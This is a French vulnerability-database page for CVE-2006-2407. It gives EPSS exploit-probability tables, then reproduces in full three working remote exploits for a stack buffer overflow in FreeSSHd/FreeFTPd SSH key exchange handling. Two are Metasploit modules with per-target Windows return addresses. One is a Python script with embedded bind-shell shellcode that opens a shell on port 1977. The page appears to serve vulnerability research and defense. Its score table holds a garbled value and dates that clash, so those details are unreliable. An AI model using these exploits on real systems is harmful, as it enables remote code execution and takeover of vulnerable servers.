CVE-2006-2407 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	78.44%	–	–
2023-03-12	–	–	–	32.33%	–
2023-03-26	–	–	–	39.71%	–
2023-06-04	–	–	–	47.44%	–
2023-11-26	–	–	–	52.92%	–
2024-02-25	–	–	–	52.92%	–
2024-04-07	–	–	–	59.49%	–
2024-06-02	–	–	–	59.49%	–
2024-09-08	–	–	–	68.79%	–
2024-12-22	–	–	–	91.41%	–
2025-01-19	–	–	–	91.41%	–
2025-03-18	–	–	–	–	84.1%
2025-03-30	–	–	–	–	84.74%
2025-04-22	–	–	–	–	84.93%
2025-04-22	–	–	–	–	84.93,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	96%
2023-03-26	97%
2023-06-04	97%
2023-11-26	97%
2024-02-25	98%
2024-04-07	98%
2024-06-02	98%
2024-09-08	98%
2024-12-22	99%
2025-01-19	99%
2025-03-18	99%
2025-03-30	99%
2025-04-22	99%
2025-04-22	99%

## # $Id: freeftpd_key_exchange.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow', 'Description' => %q{ This module exploits a simple stack buffer overflow in FreeFTPd 1.0.10 This flaw is due to a buffer overflow error when handling a specially crafted key exchange algorithm string received from an SSH client. This module is based on MC's freesshd_key_exchange exploit. }, 'Author' => 'riaf [at] mysec.org', 'License' => BSD_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ ['CVE', '2006-2407'], ['OSVDB', '25569'], ['BID', '17958'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x750231e2 } ], [ 'Windows 2000 SP0-SP4 German', { 'Ret' => 0x74f931e2 } ], [ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1d54 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ], ], 'Privileged' => true, 'DisclosureDate' => 'May 12 2006', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(22) ], self.class) end def exploit connect sploit = "SSH-2.0-OpenSSH_3.9p1" sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V') sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n" res = sock.recv(40) if ( res =~ /SSH-2\.0-WeOnlyDo-wodFTPD 2\.1\.8\.98/) print_status("Trying target #{target.name}...") sock.put(sploit) else print_status("Not running a vulnerable version...") end handler disconnect end end

#!/usr/bin/env python """ Coded by Tauqeer Ahmad a.k.a 0x-Scientist-x0 ahmadtauqeer[at]yahoo.com Disclaimer: This Proof of concept exploit is for educational purpose only. Please do not use it against any system without prior permission. You are responsible for yourself for what you do with this code. Greetings: All the Pakistani White Hats including me ;) Flames: To all the skript kiddies out there. Man grow up!. Code tasted against freeSSHd version 1.0.9 If you didn't get shell at first try, try few times and you will get lucky Advisories: https://www.securityfocus.com/bid/17958 http://www.frsirt.com/english/advisories/2006/1786 """ import socket import getopt import sys host = "192.168.0.2" port = 0 eip ="" #/* win32_bind - EXITFUNC=thread LPORT=1977 Size=317 Encoder=None http://metasploit.com */ shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \ "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \ "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \ "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \ "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \ "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \ "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \ "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \ "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \ "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" \ "\x66\x68\x07\xb9\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" \ "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" \ "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" \ "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" \ "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" \ "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" \ "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" \ "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" \ "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" \ "\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0" def exploit(): buff = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \ "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" buff = buff + "A" * 1055 buff = buff + eip buff = buff + "yyyy" buff = buff + "\x90" * 4 buff = buff + shellcode buff = buff + "B" * 19021 + "\r\n" sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((host, port)) print "+ Recive reply from server: " + sock.recv(1000) sock.send(buff) print "+ SSHD exploited. Now telnet to port 1977 to get shell " print "+ if you didnt get shell in first try.Try again until you success" sock.close() sock = None def usage(): print "#############################################" print "# CODED BY TAUQEER AHMAD #" print "# Scientist #" print "#############################################" print "\n" print "Usage: %s -h <hostip> -p <port> -o <OS>" % sys.argv[0] print "Following OS supported\n" print "1 Window XP SP1" print "2 Window XP SP2" print "3 Windows 2000 Advanced Server" if __name__ == '__main__': if len(sys.argv) < 7: usage() sys.exit() try: options = getopt.getopt(sys.argv[1:], 'h:p:o:')[0] except getopt.GetoptError, err: print err usage() sys.exit() for option, value in options: if option == '-h': host = value if option == '-p': port = int(value) if option == '-o': if value == '1': eip = "\xFC\x18\xD7\x77" # 77D718FC JMP ESP IN USER32.dll (Windows Xp professional SP1) elif value == '2': eip = "\x0A\xAF\xD8\x77" # 77D8AF0A JMP ESP IN USER32.DLL (Windows Xp professional SP2) elif value == '3': eip = "\x4D\x3F\xE3\x77" # 77E33F4D JMP ESP IN USER32.DLL (windows 2000 advanced server) elif value == '4: eip = "\x29\x4c\xE1\x77" # 77E14c29 JMP ESP IN USER32.DLL (windows 2000 Prof. SP4) else: usage() sys.exit() exploit() # milw0rm.com [2006-05-15]

## # $Id: freesshd_key_exchange.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow', 'Description' => %q{ This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9. This flaw is due to a buffer overflow error when handling a specially crafted key exchange algorithm string received from an SSH client. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ ['CVE', '2006-2407'], ['OSVDB', '25463'], ['BID', '17958'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ], [ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e51877 } ], [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 } ], ], 'Privileged' => true, 'DisclosureDate' => 'May 12 2006', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(22) ], self.class) end def exploit connect sploit = "SSH-2.0-OpenSSH_3.9p1" sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V') sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n" res = sock.recv(22) if ( res =~ /SSH-2.0-WeOnlyDo 1.2.7/) print_status("Trying target #{target.name}...") sock.put(sploit) else print_status("Not running a vulnerable version...") end handler disconnect end end